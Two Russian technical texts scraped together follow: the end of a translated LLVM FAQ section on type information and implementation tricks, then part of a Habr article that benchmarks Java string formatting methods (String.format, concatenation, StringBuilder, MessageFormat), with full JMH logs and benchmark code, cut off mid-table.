Первое, это правда, LLVM теряет информацию. Например, невозможно различить на уровне LLVM IR, было ли SSA-значение порождено из типа С «int» или «long» на ILP32-машине (кроме как из отладочной информации). Оба компилируются в значение типа «i32», и информация об исходном типе теряется. Более общая проблема в том, что система типов LLVM считает эквивалентными типы с одинаковой структурой, не с одинаковыми именами. Это ещё одна вещь, которая удивляет людей, что если у вас есть два типа в высокоуровневом языке, имеющие одинаковую структуру, (например, две разных структуры, имеющие по одному полю int): эти типы будут скомпилированы в один тип LLVM, и будет невозможно сказать, какой исходной структуре принадлежали переменные.
Второе, хотя LLVM и теряет информацию, он не имеет фиксированной целевой платформы: мы продолжаем расширять и улучшать его в разных направлениях. Мы добавляем новые возможности (LLVM не всегда поддерживал исключения или отладочную информацию), мы расширяем IR, чтобы захватывать важную для оптимизации информацию (был ли аргумент расширен нулями или знаковым битом, информацию об аласинге указателей и т.п.). Многие улучшения инициированы пользователями: люди хотят, чтобы LLVM имел какие-либо специфические возможности, и мы идём им навстречу.
В-третьих, возможно легко добавлять специфические для языка оптимизации, и есть ряд способов сделать это. Как тривиальный пример, легко добавить проход оптимизации, который «знает» разные вещи о исходном коде. В случае С-подобных языков, такой проход оптимизации «знает» о функциях стандартной библиотеки С. Если вы вызываете функцию «exit(0)» в main(), он знает, что вызов можно безопасно конвертировать в «return 0», потому что стандарт С описывает, что должна делать функция «exit».
Вдобавок к простым знаниям о библиотеке, возможно встроить другую различную специфическую для языка информацию в LLVM IR. Если у вас есть специфические нужды, пожалуйста, напишите в [список рассылки llvm-dev](http://lists.llvm.org/mailman/listinfo/llvm-dev). В худшем случае, вы можете рассматривать LLVM как если бы он был «тупым кодогенератором» и реализовывать высокоуровневые оптимизации, какие вам угодно, в вашем фронтенде, в специфичном для вашего языка AST.
### 10.3. Приёмы и хитрости
Есть различные полезные приёмы и хитрости, к которым вы приходите после того, как поработали с/над LLVM, и которые неочевидны с первого взгляда. Чтобы каждый не открывал их заново, этот раздел посвящён некоторым из них.
#### 10.3.1. Реализация переносимых offsetof/sizeof
Одна интересная вещь заключается в том, что если вы пытаетесь сохранить код, сгенерированный вашим компилятором «платформенно-независимым», вам нужно знать размер типов LLVM и смещение конкретных подей в структурах. Например, вы можете передавать размер типа в функцию, которая аллоцирует память.
К сожалению, размер типов может сильно меняться в зависимости от платформы: размер указателя является простейшим примером. Умным способом решения таких задач будет [использование инструкции getelementptr](http://nondot.org/sabre/LLVMNotes/SizeOf-OffsetOf-VariableSizedStructs.txt).
#### 10.3.2. Стековые кадры сборщика мусора
Некоторые языки хотят явно управлять кадрами стека, часто из=за наличия сборщика мусора или для того, чтобы проще реализовать замыкания. Часто есть лучшие способы реализации этих возможностей, чем явное управление кадрами стека, но LLVM поддерживает это, если вы хотите. Для этого нужно, чтобы ваш фронтенд конвертировал код в [Continuation Passing Style](https://en.wikipedia.org/wiki/Continuation-passing_style) и использовал хвостовые вызовы (которые LLVM также поддерживает). | https://habr.com/ru/post/337240/ | null | ru | null |
# Разбор перформансных задач с JBreak (часть 2)
Только поутихли страсти с [первой части](https://habrahabr.ru/post/350800/) разбора, вышедшей на прошлой неделе, как публикую продолжение: сегодня речь пойдёт о второй задаче.
Код второй задачи:
```
String format(String user, String grade, String company, String message) {
return String.format(
"Он, %s, придумал такие %s задачи. Приду на стенд %s и скажу ему %s",
user, grade, company, message);
}
String format(String user, String grade, String company, String message) {
return "Он, " + user
+ ", придумал такие " + grade
+ " задачи. Приду на стенд " + company
+ " и скажу ему " + message;
}
String format(String user, String grade, String company, String message) {
return new StringBuilder("Он, ")
.append(user)
.append(", придумал такие ")
.append(grade)
.append(" задачи. Приду на стенд ")
.append(company)
.append(" и скажу ему ")
.append(message)
.toString();
}
```
Условие (упрощённо):
> Определить, какие методы быстрые, а какие — медленные (JRE 1.8.0\_161).
Другие публикации серии: [Часть 1](https://habrahabr.ru/company/skbkontur/blog/350800/), [Часть 3](https://habrahabr.ru/company/skbkontur/blog/351540/), [Часть 4](https://habrahabr.ru/company/skbkontur/blog/351812/).
Немного расширим задачу, добавив ещё один способ форматирования строки вне конкурса:
```
public String formatThroughMessageFormat(String user, String grade, String company, String message) {
return MessageFormat.format(
"Он, {0}, придумал такие {1} задачи. Приду на стенд {2} и скажу ему {3}",
user, grade, company, message);
}
```
Решение
-------
### Миф о медленной конкатенации
**Очевидный неправильный ответ:** конкатенация — это медленно (во всяком случае — медленнее, чем `StringBuilder`).
Миф о медленной конкатенации, вероятнее всего, уходит своими корнями в пример, демонстрирующий влияние иммутабельности строк на вычислительную сложность алгоритма:
```
public static String constructThroughConcatenation(String[] strings) {
String result = "";
for (String s : strings) {
result = result + s;
}
return result;
}
public static String constructThroughBuilder(String[] strings) {
StringBuilder sb = new StringBuilder();
for (String s : strings) {
sb.append(s);
}
return sb.toString();
}
```
Результат бенчмарка говорит сам за себя (здесь N — размер массива `strings`):
```
Benchmark (N) Mode Cnt Score Error Units
...builderBenchmark 10 avgt 30 0,182 ± 0,004 us/op
...builderBenchmark 100 avgt 30 1,566 ± 0,014 us/op
...builderBenchmark 1000 avgt 30 18,188 ± 0,372 us/op
...builderBenchmark 10000 avgt 30 214,308 ± 7,523 us/op
...concatenationBenchmark 10 avgt 30 0,209 ± 0,003 us/op
...concatenationBenchmark 100 avgt 30 13,220 ± 0,305 us/op
...concatenationBenchmark 1000 avgt 30 1158,463 ± 48,124 us/op
...concatenationBenchmark 10000 avgt 30 127585,013 ± 5716,547 us/op
```
**Результаты бенчмарка целиком**
```
# JMH version: 1.20
# VM version: JDK 1.8.0_161, VM 25.161-b12
# VM invoker: C:\Program Files\Java\jre1.8.0_161\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.builderBenchmark
# Parameters: (N = 10)
# Run progress: 0,00% complete, ETA 00:09:00
# Fork: 1 of 3
# Warmup Iteration 1: 0,251 us/op
# Warmup Iteration 2: 0,192 us/op
# Warmup Iteration 3: 0,206 us/op
# Warmup Iteration 4: 0,183 us/op
# Warmup Iteration 5: 0,181 us/op
Iteration 1: 0,180 us/op
Iteration 2: 0,181 us/op
Iteration 3: 0,188 us/op
Iteration 4: 0,180 us/op
Iteration 5: 0,202 us/op
Iteration 6: 0,192 us/op
Iteration 7: 0,195 us/op
Iteration 8: 0,178 us/op
Iteration 9: 0,179 us/op
Iteration 10: 0,192 us/op
# Run progress: 4,17% complete, ETA 00:08:47
# Fork: 2 of 3
# Warmup Iteration 1: 0,249 us/op
# Warmup Iteration 2: 0,179 us/op
# Warmup Iteration 3: 0,178 us/op
# Warmup Iteration 4: 0,178 us/op
# Warmup Iteration 5: 0,179 us/op
Iteration 1: 0,178 us/op
Iteration 2: 0,181 us/op
Iteration 3: 0,178 us/op
Iteration 4: 0,179 us/op
Iteration 5: 0,181 us/op
Iteration 6: 0,182 us/op
Iteration 7: 0,183 us/op
Iteration 8: 0,177 us/op
Iteration 9: 0,177 us/op
Iteration 10: 0,177 us/op
# Run progress: 8,33% complete, ETA 00:08:24
# Fork: 3 of 3
# Warmup Iteration 1: 0,249 us/op
# Warmup Iteration 2: 0,179 us/op
# Warmup Iteration 3: 0,177 us/op
# Warmup Iteration 4: 0,179 us/op
# Warmup Iteration 5: 0,179 us/op
Iteration 1: 0,180 us/op
Iteration 2: 0,180 us/op
Iteration 3: 0,178 us/op
Iteration 4: 0,178 us/op
Iteration 5: 0,181 us/op
Iteration 6: 0,180 us/op
Iteration 7: 0,180 us/op
Iteration 8: 0,179 us/op
Iteration 9: 0,182 us/op
Iteration 10: 0,178 us/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.builderBenchmark":
0,182 ±(99.9%) 0,004 us/op [Average]
(min, avg, max) = (0,177, 0,182, 0,202), stdev = 0,006
CI (99.9%): [0,178, 0,186] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 1.8.0\_161, VM 25.161-b12
# VM invoker: C:\Program Files\Java\jre1.8.0\_161\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.builderBenchmark
# Parameters: (N = 100)
# Run progress: 12,50% complete, ETA 00:08:01
# Fork: 1 of 3
# Warmup Iteration 1: 2,016 us/op
# Warmup Iteration 2: 1,592 us/op
# Warmup Iteration 3: 1,548 us/op
# Warmup Iteration 4: 1,557 us/op
# Warmup Iteration 5: 1,553 us/op
Iteration 1: 1,561 us/op
Iteration 2: 1,563 us/op
Iteration 3: 1,568 us/op
Iteration 4: 1,570 us/op
Iteration 5: 1,560 us/op
Iteration 6: 1,560 us/op
Iteration 7: 1,563 us/op
Iteration 8: 1,564 us/op
Iteration 9: 1,570 us/op
Iteration 10: 1,566 us/op
# Run progress: 16,67% complete, ETA 00:07:38
# Fork: 2 of 3
# Warmup Iteration 1: 2,011 us/op
# Warmup Iteration 2: 1,578 us/op
# Warmup Iteration 3: 1,556 us/op
# Warmup Iteration 4: 1,560 us/op
# Warmup Iteration 5: 1,601 us/op
Iteration 1: 1,551 us/op
Iteration 2: 1,563 us/op
Iteration 3: 1,558 us/op
Iteration 4: 1,555 us/op
Iteration 5: 1,562 us/op
Iteration 6: 1,560 us/op
Iteration 7: 1,556 us/op
Iteration 8: 1,565 us/op
Iteration 9: 1,565 us/op
Iteration 10: 1,553 us/op
# Run progress: 20,83% complete, ETA 00:07:15
# Fork: 3 of 3
# Warmup Iteration 1: 2,099 us/op
# Warmup Iteration 2: 1,769 us/op
# Warmup Iteration 3: 1,751 us/op
# Warmup Iteration 4: 1,554 us/op
# Warmup Iteration 5: 1,555 us/op
Iteration 1: 1,602 us/op
Iteration 2: 1,663 us/op
Iteration 3: 1,567 us/op
Iteration 4: 1,565 us/op
Iteration 5: 1,569 us/op
Iteration 6: 1,548 us/op
Iteration 7: 1,555 us/op
Iteration 8: 1,553 us/op
Iteration 9: 1,559 us/op
Iteration 10: 1,563 us/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.builderBenchmark":
1,566 ±(99.9%) 0,014 us/op [Average]
(min, avg, max) = (1,548, 1,566, 1,663), stdev = 0,020
CI (99.9%): [1,552, 1,580] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 1.8.0\_161, VM 25.161-b12
# VM invoker: C:\Program Files\Java\jre1.8.0\_161\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.builderBenchmark
# Parameters: (N = 1000)
# Run progress: 25,00% complete, ETA 00:06:52
# Fork: 1 of 3
# Warmup Iteration 1: 25,482 us/op
# Warmup Iteration 2: 17,783 us/op
# Warmup Iteration 3: 17,741 us/op
# Warmup Iteration 4: 18,389 us/op
# Warmup Iteration 5: 18,693 us/op
Iteration 1: 17,891 us/op
Iteration 2: 17,909 us/op
Iteration 3: 17,966 us/op
Iteration 4: 17,632 us/op
Iteration 5: 17,884 us/op
Iteration 6: 17,821 us/op
Iteration 7: 17,962 us/op
Iteration 8: 17,825 us/op
Iteration 9: 18,039 us/op
Iteration 10: 17,891 us/op
# Run progress: 29,17% complete, ETA 00:06:29
# Fork: 2 of 3
# Warmup Iteration 1: 23,928 us/op
# Warmup Iteration 2: 17,799 us/op
# Warmup Iteration 3: 17,615 us/op
# Warmup Iteration 4: 17,823 us/op
# Warmup Iteration 5: 17,996 us/op
Iteration 1: 17,901 us/op
Iteration 2: 18,052 us/op
Iteration 3: 18,093 us/op
Iteration 4: 17,722 us/op
Iteration 5: 17,951 us/op
Iteration 6: 17,958 us/op
Iteration 7: 18,071 us/op
Iteration 8: 18,043 us/op
Iteration 9: 17,681 us/op
Iteration 10: 17,934 us/op
# Run progress: 33,33% complete, ETA 00:06:06
# Fork: 3 of 3
# Warmup Iteration 1: 26,743 us/op
# Warmup Iteration 2: 18,281 us/op
# Warmup Iteration 3: 18,178 us/op
# Warmup Iteration 4: 18,474 us/op
# Warmup Iteration 5: 18,661 us/op
Iteration 1: 18,735 us/op
Iteration 2: 20,414 us/op
Iteration 3: 18,762 us/op
Iteration 4: 18,673 us/op
Iteration 5: 18,280 us/op
Iteration 6: 18,336 us/op
Iteration 7: 18,259 us/op
Iteration 8: 18,362 us/op
Iteration 9: 18,295 us/op
Iteration 10: 19,312 us/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.builderBenchmark":
18,188 ±(99.9%) 0,372 us/op [Average]
(min, avg, max) = (17,632, 18,188, 20,414), stdev = 0,557
CI (99.9%): [17,816, 18,561] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 1.8.0\_161, VM 25.161-b12
# VM invoker: C:\Program Files\Java\jre1.8.0\_161\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.builderBenchmark
# Parameters: (N = 10000)
# Run progress: 37,50% complete, ETA 00:05:44
# Fork: 1 of 3
# Warmup Iteration 1: 282,300 us/op
# Warmup Iteration 2: 225,761 us/op
# Warmup Iteration 3: 223,512 us/op
# Warmup Iteration 4: 261,430 us/op
# Warmup Iteration 5: 292,495 us/op
Iteration 1: 220,548 us/op
Iteration 2: 217,293 us/op
Iteration 3: 240,740 us/op
Iteration 4: 218,483 us/op
Iteration 5: 216,646 us/op
Iteration 6: 211,005 us/op
Iteration 7: 209,140 us/op
Iteration 8: 204,410 us/op
Iteration 9: 208,205 us/op
Iteration 10: 217,127 us/op
# Run progress: 41,67% complete, ETA 00:05:21
# Fork: 2 of 3
# Warmup Iteration 1: 259,280 us/op
# Warmup Iteration 2: 230,647 us/op
# Warmup Iteration 3: 209,753 us/op
# Warmup Iteration 4: 215,611 us/op
# Warmup Iteration 5: 210,592 us/op
Iteration 1: 203,746 us/op
Iteration 2: 208,074 us/op
Iteration 3: 207,905 us/op
Iteration 4: 213,764 us/op
Iteration 5: 206,427 us/op
Iteration 6: 207,121 us/op
Iteration 7: 215,708 us/op
Iteration 8: 213,091 us/op
Iteration 9: 211,328 us/op
Iteration 10: 204,837 us/op
# Run progress: 45,83% complete, ETA 00:04:58
# Fork: 3 of 3
# Warmup Iteration 1: 253,784 us/op
# Warmup Iteration 2: 227,220 us/op
# Warmup Iteration 3: 202,387 us/op
# Warmup Iteration 4: 211,402 us/op
# Warmup Iteration 5: 207,545 us/op
Iteration 1: 206,279 us/op
Iteration 2: 205,982 us/op
Iteration 3: 211,830 us/op
Iteration 4: 238,729 us/op
Iteration 5: 237,315 us/op
Iteration 6: 238,384 us/op
Iteration 7: 223,376 us/op
Iteration 8: 210,594 us/op
Iteration 9: 200,957 us/op
Iteration 10: 200,183 us/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.builderBenchmark":
214,308 ±(99.9%) 7,523 us/op [Average]
(min, avg, max) = (200,183, 214,308, 240,740), stdev = 11,260
CI (99.9%): [206,785, 221,831] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 1.8.0\_161, VM 25.161-b12
# VM invoker: C:\Program Files\Java\jre1.8.0\_161\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.concatenationBenchmark
# Parameters: (N = 10)
# Run progress: 50,00% complete, ETA 00:04:35
# Fork: 1 of 3
# Warmup Iteration 1: 0,273 us/op
# Warmup Iteration 2: 0,201 us/op
# Warmup Iteration 3: 0,209 us/op
# Warmup Iteration 4: 0,208 us/op
# Warmup Iteration 5: 0,208 us/op
Iteration 1: 0,208 us/op
Iteration 2: 0,207 us/op
Iteration 3: 0,208 us/op
Iteration 4: 0,208 us/op
Iteration 5: 0,208 us/op
Iteration 6: 0,208 us/op
Iteration 7: 0,208 us/op
Iteration 8: 0,213 us/op
Iteration 9: 0,206 us/op
Iteration 10: 0,206 us/op
# Run progress: 54,17% complete, ETA 00:04:12
# Fork: 2 of 3
# Warmup Iteration 1: 0,301 us/op
# Warmup Iteration 2: 0,207 us/op
# Warmup Iteration 3: 0,204 us/op
# Warmup Iteration 4: 0,206 us/op
# Warmup Iteration 5: 0,206 us/op
Iteration 1: 0,208 us/op
Iteration 2: 0,207 us/op
Iteration 3: 0,206 us/op
Iteration 4: 0,206 us/op
Iteration 5: 0,208 us/op
Iteration 6: 0,205 us/op
Iteration 7: 0,207 us/op
Iteration 8: 0,221 us/op
Iteration 9: 0,214 us/op
Iteration 10: 0,207 us/op
# Run progress: 58,33% complete, ETA 00:03:49
# Fork: 3 of 3
# Warmup Iteration 1: 0,273 us/op
# Warmup Iteration 2: 0,199 us/op
# Warmup Iteration 3: 0,213 us/op
# Warmup Iteration 4: 0,206 us/op
# Warmup Iteration 5: 0,208 us/op
Iteration 1: 0,210 us/op
Iteration 2: 0,220 us/op
Iteration 3: 0,208 us/op
Iteration 4: 0,205 us/op
Iteration 5: 0,205 us/op
Iteration 6: 0,209 us/op
Iteration 7: 0,210 us/op
Iteration 8: 0,209 us/op
Iteration 9: 0,208 us/op
Iteration 10: 0,208 us/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.concatenationBenchmark":
0,209 ±(99.9%) 0,003 us/op [Average]
(min, avg, max) = (0,205, 0,209, 0,221), stdev = 0,004
CI (99.9%): [0,206, 0,211] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 1.8.0\_161, VM 25.161-b12
# VM invoker: C:\Program Files\Java\jre1.8.0\_161\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.concatenationBenchmark
# Parameters: (N = 100)
# Run progress: 62,50% complete, ETA 00:03:26
# Fork: 1 of 3
# Warmup Iteration 1: 17,351 us/op
# Warmup Iteration 2: 13,141 us/op
# Warmup Iteration 3: 13,015 us/op
# Warmup Iteration 4: 13,004 us/op
# Warmup Iteration 5: 13,073 us/op
Iteration 1: 13,056 us/op
Iteration 2: 13,158 us/op
Iteration 3: 13,005 us/op
Iteration 4: 13,126 us/op
Iteration 5: 13,001 us/op
Iteration 6: 13,072 us/op
Iteration 7: 13,085 us/op
Iteration 8: 13,063 us/op
Iteration 9: 13,196 us/op
Iteration 10: 13,084 us/op
# Run progress: 66,67% complete, ETA 00:03:03
# Fork: 2 of 3
# Warmup Iteration 1: 17,545 us/op
# Warmup Iteration 2: 13,517 us/op
# Warmup Iteration 3: 13,500 us/op
# Warmup Iteration 4: 13,089 us/op
# Warmup Iteration 5: 13,099 us/op
Iteration 1: 13,312 us/op
Iteration 2: 13,689 us/op
Iteration 3: 13,157 us/op
Iteration 4: 13,532 us/op
Iteration 5: 14,263 us/op
Iteration 6: 14,110 us/op
Iteration 7: 14,207 us/op
Iteration 8: 13,167 us/op
Iteration 9: 13,530 us/op
Iteration 10: 13,127 us/op
# Run progress: 70,83% complete, ETA 00:02:40
# Fork: 3 of 3
# Warmup Iteration 1: 17,107 us/op
# Warmup Iteration 2: 12,677 us/op
# Warmup Iteration 3: 12,549 us/op
# Warmup Iteration 4: 12,714 us/op
# Warmup Iteration 5: 14,134 us/op
Iteration 1: 13,898 us/op
Iteration 2: 13,726 us/op
Iteration 3: 12,997 us/op
Iteration 4: 12,736 us/op
Iteration 5: 12,702 us/op
Iteration 6: 12,670 us/op
Iteration 7: 12,690 us/op
Iteration 8: 12,735 us/op
Iteration 9: 12,761 us/op
Iteration 10: 12,750 us/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.concatenationBenchmark":
13,220 ±(99.9%) 0,305 us/op [Average]
(min, avg, max) = (12,670, 13,220, 14,263), stdev = 0,456
CI (99.9%): [12,915, 13,525] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 1.8.0\_161, VM 25.161-b12
# VM invoker: C:\Program Files\Java\jre1.8.0\_161\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.concatenationBenchmark
# Parameters: (N = 1000)
# Run progress: 75,00% complete, ETA 00:02:17
# Fork: 1 of 3
# Warmup Iteration 1: 2069,805 us/op
# Warmup Iteration 2: 1256,239 us/op
# Warmup Iteration 3: 1094,567 us/op
# Warmup Iteration 4: 1088,928 us/op
# Warmup Iteration 5: 1128,676 us/op
Iteration 1: 1098,263 us/op
Iteration 2: 1092,322 us/op
Iteration 3: 1092,764 us/op
Iteration 4: 1091,264 us/op
Iteration 5: 1084,967 us/op
Iteration 6: 1082,483 us/op
Iteration 7: 1087,570 us/op
Iteration 8: 1085,939 us/op
Iteration 9: 1087,219 us/op
Iteration 10: 1099,661 us/op
# Run progress: 79,17% complete, ETA 00:01:54
# Fork: 2 of 3
# Warmup Iteration 1: 1886,339 us/op
# Warmup Iteration 2: 1079,598 us/op
# Warmup Iteration 3: 1249,267 us/op
# Warmup Iteration 4: 1223,656 us/op
# Warmup Iteration 5: 1155,596 us/op
Iteration 1: 1074,649 us/op
Iteration 2: 1158,081 us/op
Iteration 3: 1156,362 us/op
Iteration 4: 1164,930 us/op
Iteration 5: 1109,143 us/op
Iteration 6: 1172,856 us/op
Iteration 7: 1277,790 us/op
Iteration 8: 1201,096 us/op
Iteration 9: 1111,431 us/op
Iteration 10: 1267,544 us/op
# Run progress: 83,33% complete, ETA 00:01:31
# Fork: 3 of 3
# Warmup Iteration 1: 2372,316 us/op
# Warmup Iteration 2: 1381,800 us/op
# Warmup Iteration 3: 1360,184 us/op
# Warmup Iteration 4: 1131,667 us/op
# Warmup Iteration 5: 1209,669 us/op
Iteration 1: 1278,702 us/op
Iteration 2: 1219,975 us/op
Iteration 3: 1141,188 us/op
Iteration 4: 1244,753 us/op
Iteration 5: 1229,355 us/op
Iteration 6: 1168,263 us/op
Iteration 7: 1153,918 us/op
Iteration 8: 1330,528 us/op
Iteration 9: 1207,424 us/op
Iteration 10: 1183,450 us/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.concatenationBenchmark":
1158,463 ±(99.9%) 48,124 us/op [Average]
(min, avg, max) = (1074,649, 1158,463, 1330,528), stdev = 72,029
CI (99.9%): [1110,339, 1206,587] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 1.8.0\_161, VM 25.161-b12
# VM invoker: C:\Program Files\Java\jre1.8.0\_161\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.concatenationBenchmark
# Parameters: (N = 10000)
# Run progress: 87,50% complete, ETA 00:01:08
# Fork: 1 of 3
# Warmup Iteration 1: 551317,226 us/op
# Warmup Iteration 2: 428150,732 us/op
# Warmup Iteration 3: 416550,724 us/op
# Warmup Iteration 4: 117977,293 us/op
# Warmup Iteration 5: 121797,206 us/op
Iteration 1: 120847,573 us/op
Iteration 2: 134688,534 us/op
Iteration 3: 130307,702 us/op
Iteration 4: 122642,500 us/op
Iteration 5: 119836,801 us/op
Iteration 6: 128095,357 us/op
Iteration 7: 119841,822 us/op
Iteration 8: 125189,403 us/op
Iteration 9: 125955,061 us/op
Iteration 10: 137509,499 us/op
# Run progress: 91,67% complete, ETA 00:00:46
# Fork: 2 of 3
# Warmup Iteration 1: 602435,410 us/op
# Warmup Iteration 2: 404409,425 us/op
# Warmup Iteration 3: 404721,946 us/op
# Warmup Iteration 4: 133065,650 us/op
# Warmup Iteration 5: 123633,597 us/op
Iteration 1: 117683,792 us/op
Iteration 2: 126726,151 us/op
Iteration 3: 125225,846 us/op
Iteration 4: 128106,852 us/op
Iteration 5: 121581,390 us/op
Iteration 6: 128516,807 us/op
Iteration 7: 145913,920 us/op
Iteration 8: 134438,346 us/op
Iteration 9: 118692,163 us/op
Iteration 10: 125122,644 us/op
# Run progress: 95,83% complete, ETA 00:00:23
# Fork: 3 of 3
# Warmup Iteration 1: 515801,468 us/op
# Warmup Iteration 2: 403393,041 us/op
# Warmup Iteration 3: 388443,058 us/op
# Warmup Iteration 4: 127654,236 us/op
# Warmup Iteration 5: 117518,788 us/op
Iteration 1: 119643,439 us/op
Iteration 2: 137466,542 us/op
Iteration 3: 146242,312 us/op
Iteration 4: 143566,288 us/op
Iteration 5: 138948,391 us/op
Iteration 6: 120434,984 us/op
Iteration 7: 126233,747 us/op
Iteration 8: 118765,491 us/op
Iteration 9: 121795,027 us/op
Iteration 10: 117532,020 us/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.concatenationBenchmark":
127585,013 ±(99.9%) 5716,547 us/op [Average]
(min, avg, max) = (117532,020, 127585,013, 146242,312), stdev = 8556,259
CI (99.9%): [121868,467, 133301,560] (assumes normal distribution)
# Run complete. Total time: 00:09:14
Benchmark (N) Mode Cnt Score Error Units
ImmutableStringBenchmark.builderBenchmark 10 avgt 30 0,182 ± 0,004 us/op
ImmutableStringBenchmark.builderBenchmark 100 avgt 30 1,566 ± 0,014 us/op
ImmutableStringBenchmark.builderBenchmark 1000 avgt 30 18,188 ± 0,372 us/op
ImmutableStringBenchmark.builderBenchmark 10000 avgt 30 214,308 ± 7,523 us/op
ImmutableStringBenchmark.concatenationBenchmark 10 avgt 30 0,209 ± 0,003 us/op
ImmutableStringBenchmark.concatenationBenchmark 100 avgt 30 13,220 ± 0,305 us/op
ImmutableStringBenchmark.concatenationBenchmark 1000 avgt 30 1158,463 ± 48,124 us/op
ImmutableStringBenchmark.concatenationBenchmark 10000 avgt 30 127585,013 ± 5716,547 us/op
```
`O(n^2)` против `O(n)` — очевидное превосходство `StringBuilder` над конкатенацией.
### Бенчмарк и разрушение мифа
Запустим бенчмарк для указанных в задаче методов:
1. `formatThroughPattern` — использование `String.format()`
2. `formatThroughConcatenation` — использование конкатенации строк
3. `formatThroughBuilder` — использование `StringBuilder`
4. `formatThroughMessageFormat` — использование `MessageFormat.format().`
**Код бенчмарка**
```
package ru.gnkoshelev.jbreak2018.perf_tests.strings;
import org.openjdk.jmh.annotations.Benchmark;
import org.openjdk.jmh.annotations.BenchmarkMode;
import org.openjdk.jmh.annotations.Fork;
import org.openjdk.jmh.annotations.Measurement;
import org.openjdk.jmh.annotations.Mode;
import org.openjdk.jmh.annotations.OutputTimeUnit;
import org.openjdk.jmh.annotations.Scope;
import org.openjdk.jmh.annotations.Setup;
import org.openjdk.jmh.annotations.State;
import org.openjdk.jmh.annotations.Warmup;
import org.openjdk.jmh.infra.Blackhole;
import java.util.concurrent.TimeUnit;
import static ru.gnkoshelev.jbreak2018.perf_tests.strings.OrdinalStringFormat.formatThroughBuilder;
import static ru.gnkoshelev.jbreak2018.perf_tests.strings.OrdinalStringFormat.formatThroughConcatenation;
import static ru.gnkoshelev.jbreak2018.perf_tests.strings.OrdinalStringFormat.formatThroughMessageFormat;
import static ru.gnkoshelev.jbreak2018.perf_tests.strings.OrdinalStringFormat.formatThroughPattern;
/**
* Created by kgn on 16.03.2018.
*/
@Fork(value = 3, warmups = 0)
@Warmup(iterations = 5, time = 1_500, timeUnit = TimeUnit.MILLISECONDS)
@Measurement(iterations = 10, time = 1_500, timeUnit = TimeUnit.MILLISECONDS)
@OutputTimeUnit(value = TimeUnit.NANOSECONDS)
@BenchmarkMode(Mode.AverageTime)
@State(Scope.Benchmark)
public class OrdinalStringFormatBenchmark {
public String user;
public String grade;
public String message;
public String company;
@Setup
public void setup() {
user = "молодец";
grade = "хорошие";
company = "Контура";
message = "спасибо";
}
@Benchmark
public void formatThroughPatternBenchmark(Blackhole bh) {
bh.consume(formatThroughPattern(user, company, grade, message));
}
@Benchmark
public void formatThroughConcatenationBenchmark(Blackhole bh) {
bh.consume(formatThroughConcatenation(user, company, grade, message));
}
@Benchmark
public void formatThroughBuilderBenchmark(Blackhole bh) {
bh.consume(formatThroughBuilder(user, company, grade, message));
}
@Benchmark
public void formatThroughMessageFormatBenchmark(Blackhole bh) {
bh.consume(formatThroughMessageFormat(user, company, grade, message));
}
}
```
Результат бенчмарка:
```
Benchmark Mode Cnt Score Error Units
...formatThroughBuilderBenchmark avgt 30 50,719 ± 1,139 ns/op
...formatThroughConcatenationBenchmark avgt 30 49,416 ± 0,435 ns/op
...formatThroughMessageFormatBenchmark avgt 30 1018,011 ± 12,805 ns/op
